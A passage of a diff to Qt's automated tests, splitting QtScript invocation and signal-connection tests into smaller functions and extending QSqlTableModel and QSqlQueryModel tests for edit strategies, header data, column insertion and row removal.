     QCOMPARE(m_myObject->qtFunctionInvoked(), 44);
@@ -1359,7 +1372,10 @@ void tst_QScriptExtQObject::callQtInvokable()
         QCOMPARE(ret.isArray(), true);
         QCOMPARE(m_myObject->qtFunctionInvoked(), 11);
     }
+}
 
+void tst_QScriptExtQObject::callQtInvokable3()
+{
     {
         QScriptValue ret = m_engine->evaluate("myObject.myInvokableWithVectorOfIntArg(myObject.myInvokableReturningVectorOfInt())");
         QCOMPARE(ret.isUndefined(), true);
@@ -1485,7 +1501,10 @@ void tst_QScriptExtQObject::callQtInvokable()
         QCOMPARE(ret.property("0").strictlyEquals(QScriptValue(m_engine, 1)), true);
         QCOMPARE(ret.property("1").strictlyEquals(QScriptValue(m_engine, 5)), true);
     }
+}
 
+void tst_QScriptExtQObject::callQtInvokable4()
+{
     m_myObject->resetQtFunctionInvoked();
     {
         QScriptValue ret = m_engine->evaluate("myObject.myInvokableWithQObjectStarArg(myObject)");
@@ -1571,7 +1590,10 @@ void tst_QScriptExtQObject::callQtInvokable()
         QCOMPARE(v.userType(), int(QMetaType::ULongLong));
         QCOMPARE(qvariant_cast<qulonglong>(v), qulonglong(123));
     }
+}
 
+void tst_QScriptExtQObject::callQtInvokable5()
+{
     m_myObject->resetQtFunctionInvoked();
     {
         QScriptValue fun = m_engine->evaluate("myObject.myInvokableWithQBrushArg");
@@ -1659,7 +1681,10 @@ void tst_QScriptExtQObject::callQtInvokable()
         QCOMPARE(m_myObject->qtFunctionActuals().size(), 1);
         QCOMPARE(qvariant_cast<QObject*>(m_myObject->qtFunctionActuals().at(0)), (QObject*)m_myObject);
     }
+}
 
+void tst_QScriptExtQObject::callQtInvokable6()
+{
     // QScriptValue arguments should be passed on without conversion
     m_myObject->resetQtFunctionInvoked();
     {
@@ -1723,18 +1748,21 @@ void tst_QScriptExtQObject::callQtInvokable()
             QCOMPARE(m_myObject->qtFunctionInvoked(), 55);
         }
     }
+}
 
+void tst_QScriptExtQObject::callQtInvokable7()
+{
     // qscript_call()
     {
         m_myObject->resetQtFunctionInvoked();
         QScriptValue ret = m_engine->evaluate("new myObject(123)");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'myObject' [MyQObject(name = \"\")] is not a constructor."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         m_myObject->resetQtFunctionInvoked();
         QScriptValue ret = m_engine->evaluate("myObject(123)");
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'myObject' [MyQObject(name = \"\")] is not a function."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
 
     // task 233624
@@ -1971,9 +1999,10 @@ void tst_QScriptExtQObject::connectAndDisconnect()
     QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject, 'mySlot')").isUndefined());
     QVERIFY(m_engine->evaluate("myObject.mySignal.disconnect(yetAnotherObject, 'func')").isUndefined());
     QVERIFY(m_engine->evaluate("myObject.mySignal.disconnect(myObject, 'mySlot')").isUndefined());
+}
 
-    // check that emitting signals from script works
-
+void tst_QScriptExtQObject::connectAndDisconnect_emitFromJS()
+{
     // no arguments
     QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject.mySlot)").isUndefined());
     m_myObject->resetQtFunctionInvoked();
@@ -2022,7 +2051,10 @@ void tst_QScriptExtQObject::connectAndDisconnect()
     QCOMPARE(m_myObject->qtFunctionActuals().size(), 1);
     QCOMPARE(m_myObject->qtFunctionActuals().at(0).toInt(), 456);
     QVERIFY(m_engine->evaluate("myObject.mySignalWithIntArg.disconnect(myObject['myOverloadedSlot(int)'])").isUndefined());
+}
 
+void tst_QScriptExtQObject::connectAndDisconnect_senderWrapperCollected()
+{
     // when the wrapper dies, the connection stays alive
     QVERIFY(m_engine->evaluate("myObject.mySignal.connect(myObject.mySlot)").isUndefined());
     m_myObject->resetQtFunctionInvoked();
@@ -2210,7 +2242,14 @@ void tst_QScriptExtQObject::cppConnectAndDisconnect()
             QVERIFY(!qScriptDisconnect(&edit2, SIGNAL(textChanged(const QString &)), receiver, fun));
         }
     }
+}
 
+void tst_QScriptExtQObject::cppConnectAndDisconnect2()
+{
+    QScriptEngine eng;
+    QLineEdit edit;
+    QLineEdit edit2;
+    QScriptValue fun = eng.evaluate("function fun(text) { signalObject = this; signalArg = text; }; fun");
     // make sure we don't crash when engine is deleted
     {
         QScriptEngine *eng2 = new QScriptEngine;
diff --git a/tests/auto/qscriptvalue/tst_qscriptvalue.cpp b/tests/auto/qscriptvalue/tst_qscriptvalue.cpp
index b302eba..9014241 100644
--- a/tests/auto/qscriptvalue/tst_qscriptvalue.cpp
+++ b/tests/auto/qscriptvalue/tst_qscriptvalue.cpp
@@ -1889,7 +1889,7 @@ void tst_QScriptValue::getSetProperty_gettersAndSetters()
         QCOMPARE(object.propertyFlags("foo") & ~QScriptValue::UserRange,
                  QScriptValue::PropertyGetter );
 
-        QEXPECT_FAIL("", "User-range flags are not retained for getter/setter properties", Continue);
+        QEXPECT_FAIL("", "QTBUG-17615: User-range flags are not retained for getter/setter properties", Continue);
         QCOMPARE(object.propertyFlags("foo"),
                  QScriptValue::PropertyGetter | QScriptValue::UserRange);
         object.setProperty("x", num);
@@ -2004,10 +2004,10 @@ void tst_QScriptValue::getSetProperty_gettersAndSettersThrowErrorJS()
     QScriptValue object = eng.evaluate("o");
     QVERIFY(!eng.hasUncaughtException());
     QScriptValue ret = object.property("foo");
-    QEXPECT_FAIL("", "Exception thrown from js function are not returned by the JSC port", Continue);
+    QEXPECT_FAIL("", "QTBUG-17616: Exception thrown from js function are not returned by the JSC port", Continue);
     QVERIFY(ret.isError());
     QVERIFY(eng.hasUncaughtException());
-    QEXPECT_FAIL("", "Exception thrown from js function are not returned by the JSC port", Continue);
+    QEXPECT_FAIL("", "QTBUG-17616: Exception thrown from js function are not returned by the JSC port", Continue);
     QVERIFY(ret.strictlyEquals(eng.uncaughtException()));
     QCOMPARE(eng.uncaughtException().toString(), QLatin1String("Error: get foo"));
     eng.evaluate("Object"); // clear exception state...
@@ -2185,9 +2185,9 @@ void tst_QScriptValue::getSetProperty()
     }
     // should still be deletable from C++
     object.setProperty("undeletableProperty", QScriptValue());
-    QEXPECT_FAIL("", "With JSC-based back-end, undeletable properties can't be deleted from C++", Continue);
+    QEXPECT_FAIL("", "QTBUG-17617: With JSC-based back-end, undeletable properties can't be deleted from C++", Continue);
     QVERIFY(!object.property("undeletableProperty").isValid());
-    QEXPECT_FAIL("", "With JSC-based back-end, undeletable properties can't be deleted from C++", Continue);
+    QEXPECT_FAIL("", "QTBUG-17617: With JSC-based back-end, undeletable properties can't be deleted from C++", Continue);
     QCOMPARE(object.propertyFlags("undeletableProperty"), 0);
 
   // SkipInEnumeration
diff --git a/tests/auto/qset/tst_qset.cpp b/tests/auto/qset/tst_qset.cpp
index ae293db..c28b683 100644
--- a/tests/auto/qset/tst_qset.cpp
+++ b/tests/auto/qset/tst_qset.cpp
@@ -39,6 +39,7 @@
 **
 ****************************************************************************/
 
+//#define QT_STRICT_ITERATORS
 
 #include <QtTest/QtTest>
 #include <qset.h>
@@ -826,6 +827,16 @@ void tst_QSet::javaMutableIterator()
         int sum = 0;
         QMutableSetIterator<QString> i(set1);
         while (i.hasNext()) {
+            i.next();
+            sum += toNumber(i.value());
+        }
+        QVERIFY(sum == 24999 * 25000 / 2);
+    }
+
+    {
+        int sum = 0;
+        QMutableSetIterator<QString> i(set1);
+        while (i.hasNext()) {
             sum += toNumber(i.peekNext());
             i.next();
         }
diff --git a/tests/auto/qsqldatabase/tst_databases.h b/tests/auto/qsqldatabase/tst_databases.h
index 5dcf754..350e0d0 100644
--- a/tests/auto/qsqldatabase/tst_databases.h
+++ b/tests/auto/qsqldatabase/tst_databases.h
@@ -51,6 +51,7 @@
 #include <QDir>
 #include <QVariant>
 #include <QDebug>
+#include <QSqlTableModel>
 
 #include <QtTest/QtTest>
 
@@ -166,6 +167,29 @@ public:
         return count;
     }
 
+    int fillTestTableWithStrategies( const QString& driverPrefix = QString() ) const
+    {
+        QTest::addColumn<QString>( "dbName" );
+        QTest::addColumn<int>("submitpolicy_i");
+        int count = 0;
+
+        for ( int i = 0; i < dbNames.count(); ++i ) {
+            QSqlDatabase db = QSqlDatabase::database( dbNames.at( i ) );
+
+            if ( !db.isValid() )
+                continue;
+
+            if ( driverPrefix.isEmpty() || db.driverName().startsWith( driverPrefix ) ) {
+                QTest::newRow( QString("%1 [field]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnFieldChange;
+                QTest::newRow( QString("%1 [row]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnRowChange;
+                QTest::newRow( QString("%1 [manual]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnManualSubmit;
+                ++count;
+            }
+        }
+
+        return count;
+    }
+
     void addDb( const QString& driver, const QString& dbName,
                 const QString& user = QString(), const QString& passwd = QString(),
                 const QString& host = QString(), int port = -1, const QString params = QString() )
diff --git a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp
index 0ca1417..e876764 100644
--- a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp
+++ b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp
@@ -318,6 +318,11 @@ void tst_QSqlQueryModel::insertColumn()
     model.setQuery(QSqlQuery("select * from " + qTableName("test", __FILE__), db));
     model.fetchMore(); // necessary???
 
+    bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2");
+    const QString idColumn(isToUpper ? "ID" : "id");
+    const QString nameColumn(isToUpper ? "NAME" : "name");
+    const QString titleColumn(isToUpper ? "TITLE" : "title");
+
     QSignalSpy spy(&model, SIGNAL(columnsInserted(QModelIndex, int, int)));
 
     QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
@@ -325,6 +330,11 @@ void tst_QSqlQueryModel::insertColumn()
     QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
     QCOMPARE(model.data(model.index(0, 3)), QVariant());
 
+    QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn);
+    QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), nameColumn);
+    QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), titleColumn);
+    QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), QString("4"));
+
     QVERIFY(model.insertColumn(1));
 
     QCOMPARE(spy.count(), 1);
@@ -344,6 +354,12 @@ void tst_QSqlQueryModel::insertColumn()
     QCOMPARE(model.data(model.index(0, 3)).toInt(), 1);
     QCOMPARE(model.data(model.index(0, 4)), QVariant());
 
+    QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn);
+    QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), QString("2"));
+    QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), nameColumn);
+    QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), titleColumn);
+    QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), QString("5"));
+
     QVERIFY(!model.insertColumn(-1));
     QVERIFY(!model.insertColumn(100));
     QVERIFY(!model.insertColumn(1, model.index(1, 1)));
@@ -378,14 +394,21 @@ void tst_QSqlQueryModel::insertColumn()
     QCOMPARE(model.indexInQuery(model.index(0, 5)).column(), -1);
     QCOMPARE(model.indexInQuery(model.index(0, 6)).column(), -1);
 
-    bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2");
     QCOMPARE(model.record().field(0).name(), QString());
-    QCOMPARE(model.record().field(1).name(), isToUpper ? QString("ID") : QString("id"));
+    QCOMPARE(model.record().field(1).name(), idColumn);
     QCOMPARE(model.record().field(2).name(), QString());
-    QCOMPARE(model.record().field(3).name(), isToUpper ? QString("NAME") : QString("name"));
-    QCOMPARE(model.record().field(4).name(), isToUpper ? QString("TITLE") : QString("title"));
+    QCOMPARE(model.record().field(3).name(), nameColumn);
+    QCOMPARE(model.record().field(4).name(), titleColumn);
     QCOMPARE(model.record().field(5).name(), QString());
     QCOMPARE(model.record().field(6).name(), QString());
+
+    QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), QString("1"));
+    QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), idColumn);
+    QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), QString("3"));
+    QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), nameColumn);
+    QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), titleColumn);
+    QCOMPARE(model.headerData(5, Qt::Horizontal).toString(), QString("6"));
+    QCOMPARE(model.headerData(6, Qt::Horizontal).toString(), QString("7"));
 }
 
 void tst_QSqlQueryModel::record()
diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp
index f9fcaf0..bf68375 100644
--- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp
+++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp
@@ -78,11 +78,13 @@ private slots:
 
     void select_data() { generic_data(); }
     void select();
+    void insertColumns_data() { generic_data_with_strategies(); }
+    void insertColumns();
     void submitAll_data() { generic_data(); }
     void submitAll();
     void setRecord_data()  { generic_data(); }
     void setRecord();
-    void insertRow_data() { generic_data(); }
+    void insertRow_data() { generic_data_with_strategies(); }
     void insertRow();
     void insertRecord_data() { generic_data(); }
     void insertRecord();
@@ -92,8 +94,10 @@ private slots:
     void removeRow();
     void removeRows_data() { generic_data(); }
     void removeRows();
-    void removeInsertedRow_data() { generic_data(); }
+    void removeInsertedRow_data() { generic_data_with_strategies(); }
     void removeInsertedRow();
+    void removeInsertedRows_data() { generic_data(); }
+    void removeInsertedRows();
     void setFilter_data() { generic_data(); }
     void setFilter();
     void setInvalidFilter_data() { generic_data(); }
@@ -130,6 +134,7 @@ private slots:
     void insertBeforeDelete();
 private:
     void generic_data(const QString& engine=QString());
+    void generic_data_with_strategies(const QString& engine=QString());
 };
 
 tst_QSqlTableModel::tst_QSqlTableModel()
@@ -227,7 +232,17 @@ void tst_QSqlTableModel::recreateTestTables()
 void tst_QSqlTableModel::generic_data(const QString &engine)
 {
     if ( dbs.fillTestTable(engine) == 0 ) {
-        if(engine.isEmpty())
+        if (engine.isEmpty())
+           QSKIP( "No database drivers are available in this Qt configuration", SkipAll );
+        else
+           QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll );
+    }
+}
+
+void tst_QSqlTableModel::generic_data_with_strategies(const QString &engine)
+{
+    if ( dbs.fillTestTableWithStrategies(engine) == 0 ) {
+        if (engine.isEmpty())
            QSKIP( "No database drivers are available in this Qt configuration", SkipAll );
         else
            QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll );
@@ -289,6 +304,81 @@ void tst_QSqlTableModel::select()
     QCOMPARE(model.data(model.index(3, 3)), QVariant());
 }
 
+void tst_QSqlTableModel::insertColumns()
+{
+    // Just like the select test, with extra stuff
+    QFETCH(QString, dbName);
+    QFETCH(int, submitpolicy_i);
+    QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i;
+    QSqlDatabase db = QSqlDatabase::database(dbName);
+    CHECK_DATABASE(db);
+
+    QSqlTableModel model(0, db);
+    model.setTable(test);
+    model.setSort(0, Qt::AscendingOrder);
+    model.setEditStrategy(submitpolicy);
+
+    QVERIFY_SQL(model, select());
+
+    QCOMPARE(model.rowCount(), 3);
+    QCOMPARE(model.columnCount(), 3);
+
+    QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+    QCOMPARE(model.data(model.index(0, 3)), QVariant());
+
+    QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+    QCOMPARE(model.data(model.index(1, 3)), QVariant());
+
+    QCOMPARE(model.data(model.index(2, 0)).toInt(), 3);
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+    QCOMPARE(model.data(model.index(2, 2)).toInt(), 3);
+    QCOMPARE(model.data(model.index(2, 3)), QVariant());
+
+    QCOMPARE(model.data(model.index(3, 0)), QVariant());
+    QCOMPARE(model.data(model.index(3, 1)), QVariant());
+    QCOMPARE(model.data(model.index(3, 2)), QVariant());
+    QCOMPARE(model.data(model.index(3, 3)), QVariant());
+
+    // Now add a column at 0 and 2
+    model.insertColumn(0);
+    model.insertColumn(2);
+
+    QCOMPARE(model.rowCount(), 3);
+    QCOMPARE(model.columnCount(), 5);
+
+    QCOMPARE(model.data(model.index(0, 0)), QVariant());
+    QCOMPARE(model.data(model.index(0, 1)).toInt(), 1);
+    QCOMPARE(model.data(model.index(0, 2)), QVariant());
+    QCOMPARE(model.data(model.index(0, 3)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(0, 4)).toInt(), 1);
+    QCOMPARE(model.data(model.index(0, 5)), QVariant());
+
+    QCOMPARE(model.data(model.index(1, 0)), QVariant());
+    QCOMPARE(model.data(model.index(1, 1)).toInt(), 2);
+    QCOMPARE(model.data(model.index(1, 2)), QVariant());
+    QCOMPARE(model.data(model.index(1, 3)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(1, 4)).toInt(), 2);
+    QCOMPARE(model.data(model.index(1, 5)), QVariant());
+
+    QCOMPARE(model.data(model.index(2, 0)), QVariant());
+    QCOMPARE(model.data(model.index(2, 1)).toInt(), 3);
+    QCOMPARE(model.data(model.index(2, 2)), QVariant());
+    QCOMPARE(model.data(model.index(2, 3)).toString(), QString("vohi"));
+    QCOMPARE(model.data(model.index(2, 4)).toInt(), 3);
+    QCOMPARE(model.data(model.index(2, 5)), QVariant());
+
+    QCOMPARE(model.data(model.index(3, 0)), QVariant());
+    QCOMPARE(model.data(model.index(3, 1)), QVariant());
+    QCOMPARE(model.data(model.index(3, 2)), QVariant());
+    QCOMPARE(model.data(model.index(3, 3)), QVariant());
+    QCOMPARE(model.data(model.index(3, 4)), QVariant());
+    QCOMPARE(model.data(model.index(3, 5)), QVariant());
+}
+
 void tst_QSqlTableModel::setRecord()
 {
     QFETCH(QString, dbName);
@@ -314,9 +404,14 @@ void tst_QSqlTableModel::setRecord()
             rec.setValue(2, rec.value(2).toString() + 'X');
             QVERIFY(model.setRecord(i, rec));
 
-            if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit)
+            if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit) {
+                // setRecord should emit dataChanged() itself for manualSubmit
+                QCOMPARE(spy.count(), 1);
+                QCOMPARE(spy.at(0).count(), 2);
+                QCOMPARE(qvariant_cast<QModelIndex>(spy.at(0).at(0)), model.index(i, 0));
+                QCOMPARE(qvariant_cast<QModelIndex>(spy.at(0).at(1)), model.index(i, rec.count() - 1));
                 QVERIFY(model.submitAll());
-            else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1)
+            } else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1)
                 model.submit();
             else {
                 // dataChanged() is not emitted when submitAll() is called
@@ -339,26 +434,90 @@ void tst_QSqlTableModel::setRecord()
 void tst_QSqlTableModel::insertRow()
 {
     QFETCH(QString, dbName);
+    QFETCH(int, submitpolicy_i);
+    QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i;
     QSqlDatabase db = QSqlDatabase::database(dbName);
     CHECK_DATABASE(db);
 
     QSqlTableModel model(0, db);
-    model.setEditStrategy(QSqlTableModel::OnRowChange);
+    model.setEditStrategy(submitpolicy);
     model.setTable(test);
     model.setSort(0, Qt::AscendingOrder);
     QVERIFY_SQL(model, select());
 
+    QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+    QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+    QCOMPARE(model.data(model.index(2, 0)).toInt(), 3);
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+    QCOMPARE(model.data(model.index(2, 2)).toInt(), 3);
+
     QVERIFY(model.insertRow(2));
+
+    QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+    QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+    QCOMPARE(model.data(model.index(2, 0)).toInt(), 0);
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(2, 2)).toInt(), 0);
+    QCOMPARE(model.data(model.index(3, 0)).toInt(), 3);
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi"));
+    QCOMPARE(model.data(model.index(3, 2)).toInt(), 3);
+
     QSqlRecord rec = model.record(1);
     rec.setValue(0, 42);
-    rec.setValue(1, QString("vohi"));
+    rec.setValue(1, QString("francis"));
+
+    // FieldChange updates immediately and resorts
+    // Row/Manual submit does not resort
     QVERIFY(model.setRecord(2, rec));
 
-    QCOMPARE(model.data(model.index(2, 0)).toInt(), 42);
-    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
-    QCOMPARE(model.data(model.index(2, 2)).toInt(), 2);
+    QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+    QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+
+    // See comment above setRecord
+    if (submitpolicy == QSqlTableModel::OnFieldChange) {
+        QCOMPARE(model.data(model.index(2, 0)).toInt(), 3);
+        QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+        QCOMPARE(model.data(model.index(2, 2)).toInt(), 3);
+        QCOMPARE(model.data(model.index(3, 0)).toInt(), 42);
+        QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis"));
+        QCOMPARE(model.data(model.index(3, 2)).toInt(), 2);
+    } else {
+        QCOMPARE(model.data(model.index(2, 0)).toInt(), 42);
+        QCOMPARE(model.data(model.index(2, 1)).toString(), QString("francis"));
+        QCOMPARE(model.data(model.index(2, 2)).toInt(), 2);
+        QCOMPARE(model.data(model.index(3, 0)).toInt(), 3);
+        QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi"));
+        QCOMPARE(model.data(model.index(3, 2)).toInt(), 3);
+    }
 
     QVERIFY(model.submitAll());
+
+    // After the submit we should have the resorted view
+    QCOMPARE(model.data(model.index(0, 0)).toInt(), 1);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(0, 2)).toInt(), 1);
+    QCOMPARE(model.data(model.index(1, 0)).toInt(), 2);
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(1, 2)).toInt(), 2);
+    QCOMPARE(model.data(model.index(2, 0)).toInt(), 3);
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+    QCOMPARE(model.data(model.index(2, 2)).toInt(), 3);
+    QCOMPARE(model.data(model.index(3, 0)).toInt(), 42);
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis"));
+    QCOMPARE(model.data(model.index(3, 2)).toInt(), 2);
+
 }
 
 void tst_QSqlTableModel::insertRecord()
@@ -538,10 +697,19 @@ void tst_QSqlTableModel::removeRows()
     QCOMPARE(model.rowCount(), 3);
 
     QSignalSpy beforeDeleteSpy(&model, SIGNAL(beforeDelete(int)));
+
+    // Make sure wrong stuff is ok
+    QVERIFY(!model.removeRows(-1,1)); // negative start
+    QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count
+    QVERIFY(!model.removeRows(1, 0)); // zero count
+    QVERIFY(!model.removeRows(5, 1)); // past end (causes a beforeDelete to be emitted)
+    QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex
+
     QVERIFY_SQL(model, removeRows(0, 2));
-    QVERIFY(beforeDeleteSpy.count() == 2);
-    QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 0);
-    QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 1);
+    QCOMPARE(beforeDeleteSpy.count(), 3);
+    QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 5);
+    QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 0);
+    QVERIFY(beforeDeleteSpy.at(2).at(0).toInt() == 1);
     QCOMPARE(model.rowCount(), 1);
     QCOMPARE(model.data(model.index(0, 1)).toString(), QString("vohi"));
     model.clear();
@@ -555,6 +723,13 @@ void tst_QSqlTableModel::removeRows()
 
     // When the edit strategy is OnManualSubmit the beforeDelete() signal
     // isn't emitted until submitAll() is called.
+
+    QVERIFY(!model.removeRows(-1,1)); // negative start
+    QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count
+    QVERIFY(!model.removeRows(1, 0)); // zero count
+    QVERIFY(!model.removeRows(5, 1)); // past end (DOESN'T cause a beforeDelete to be emitted)
+    QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex
+
     qRegisterMetaType<Qt::Orientation>("Qt::Orientation");
     QSignalSpy headerDataChangedSpy(&model, SIGNAL(headerDataChanged(Qt::Orientation, int, int)));
     QVERIFY(model.removeRows(0, 2, QModelIndex()));
@@ -576,33 +751,167 @@ void tst_QSqlTableModel::removeRows()
 void tst_QSqlTableModel::removeInsertedRow()
 {
     QFETCH(QString, dbName);
+    QFETCH(int, submitpolicy_i);
+    QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i;
     QSqlDatabase db = QSqlDatabase::database(dbName);
     CHECK_DATABASE(db);
 
-    for (int i = 0; i <= 1; ++i) {
+    QSqlTableModel model(0, db);
+    model.setTable(test);
+    model.setSort(0, Qt::AscendingOrder);
 
-        QSqlTableModel model(0, db);
-        model.setTable(test);
-        model.setSort(0, Qt::AscendingOrder);
+    model.setEditStrategy(submitpolicy);
+    QVERIFY_SQL(model, select());
+    QCOMPARE(model.rowCount(), 3);
 
-        model.setEditStrategy(i == 0
-                ? QSqlTableModel::OnRowChange : QSqlTableModel::OnManualSubmit);
-        QVERIFY_SQL(model, select());
-        QCOMPARE(model.rowCount(), 3);
+    QVERIFY(model.insertRow(1));
+    QCOMPARE(model.rowCount(), 4);
 
-        QVERIFY(model.insertRow(1));
-        QCOMPARE(model.rowCount(), 4);
+    QVERIFY(model.removeRow(1));
+    QCOMPARE(model.rowCount(), 3);
 
-        QVERIFY(model.removeRow(1));
-        QCOMPARE(model.rowCount(), 3);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
 
-        QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
-        QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
-        QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
-        model.clear();
+    // Now insert a row with a null, and check that removing it also works (QTBUG-15979 etc)
+    model.insertRow(1);
+    model.setData(model.index(1,0), 55);
+    model.setData(model.index(1,1), QString("null columns"));
+    model.setData(model.index(1,2), QVariant());
 
-        recreateTestTables();
-    }
+    model.submitAll();
+
+    QCOMPARE(model.rowCount(), 4);
+    QCOMPARE(model.data(model.index(3, 0)).toInt(), 55);
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString("null columns"));
+    QCOMPARE(model.data(model.index(3, 2)).isNull(), true);
+
+    QVERIFY(model.removeRow(3));
+    model.submitAll();
+    QCOMPARE(model.rowCount(), 3);
+
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+}
+
+void tst_QSqlTableModel::removeInsertedRows()
+{
+    QFETCH(QString, dbName);
+    QSqlDatabase db = QSqlDatabase::database(dbName);
+    CHECK_DATABASE(db);
+
+    QSqlTableModel model(0, db);
+    model.setTable(test);
+    model.setSort(0, Qt::AscendingOrder);
+    model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise
+    QVERIFY_SQL(model, select());
+    QCOMPARE(model.rowCount(), 3);
+
+    // First put two empty rows, and remove them one by one
+    QVERIFY(model.insertRows(1, 2));
+    QCOMPARE(model.rowCount(), 5);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
